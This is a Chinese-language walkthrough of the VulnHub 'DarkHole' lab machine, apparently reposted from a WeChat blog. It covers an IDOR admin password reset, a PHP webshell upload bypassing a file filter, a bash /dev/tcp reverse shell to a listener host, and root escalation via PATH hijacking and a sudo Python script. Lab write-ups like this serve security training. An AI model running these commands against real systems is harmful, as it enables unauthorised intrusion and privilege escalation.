VULNHUB实战靶场：DarkHole

一、环境搭建

• 靶场下载地址：https://download.vulnhub.com/darkhole/DarkHole.zip

• 下载之后，使用 VM导入靶场环境

• 将靶场的网卡模式设置为桥接模式，启动就行

二、信息收集

端口扫描：

目录扫描：

配置信息：

三、漏洞利用

我们找到一个后台，尝试弱口令失败，然后我没还发现一个注册页面，注册了一个test

然后发现还是登录不进去,但是存在这个修改密码的页面，尝试修改密码，但是只是自己注册用户的密码，登录还是要老样子。然后发现有个id的参数可能存在越权，我们尝试一下改成1

退出后台重新登录发现登录成功，但是还是用自己注册的test注册的，还是一样没效果，然后尝试admin是不是管理员

四、getshell

猜对了，管理员是admin，修改成功123456，直接登录进来了，多了一个上传点

我们配置信息那里看到的是php的语言，那我们就是尝试上传一句话木马，发现除了jpg之类的其他的后缀都可以上传，这就很简单了，直接绕过

成功上传，成功getshell

五、反弹shell

nc -nvlp 3333

bash -c 'bash -i >& /dev/tcp/192.168.0.106/3333 0>&1'

六、提权

我们查看一下敏感文件，可以看到是有两个用户的

cat /etc/passwd | grep /bin/bash

我们查看一下这两个用户有没有东西，找到在john用户下有个password和user.txt，但是没权限

我们发现在john用户下有个toto的文件是和id一样的功能。都是查看用户权限的命令

我们需要创建名为id的文件，将bash文件的位置写入id当中，然后尝试使用export修改环境变量，优先加载tmp下的id文件，可以看到获取到了john用户的权限

cd /tmp touch id echo "/bin/bash" > id  //在/tmp目录下创建一个文件id,内容是/bin/bash chmod 777 id         //给id文件添加执行权限 export PATH=/tmp:$PATH   //将/tmp目录添加到PATH环境变量中 cd /home/john ./toto

所以总的效果是在/tmp下创建了一个名为id的bash执行文件,并将其添加到了PATH路径中。 这 Bring 了一定安全隐患,因为现在直接输入id命令,会执行/tmp下的id文件,也就相当于执行了一个bash shell。 这种通过修改PATH实现攻击的技术,我们称之为PATH变量攻击。攻击者通过控制某个目录或文件的名称,并修改PATH环境变量,使得该目录下的某文件在执行某些命令时被执行,达到攻击目的。

获取到了一个密码和flag

得到密码发现是john用户的密码，正好开启了22端口，我们可以尝试一下居然成功了

我们查找一下有sudo权限的命令，有个py文件

然后我们可以用john用户去执行root权限的python文件，那我们将获取shell的命令加入到python脚本中再去执行就可以获得root权限

echo 'import os;os.system("/bin/bash")' > file.py sudo python3 /home/john/file.py

然后我们使用python3去执行这个python文件，成功提权，拿到flag

有一个月没跟新了，也是最近在忙别的事情，现在赶紧跟新一下，哈哈哈嗝

原文始发于微信公众号（半仙想变强）：VULNHUB实战靶场：DarkHole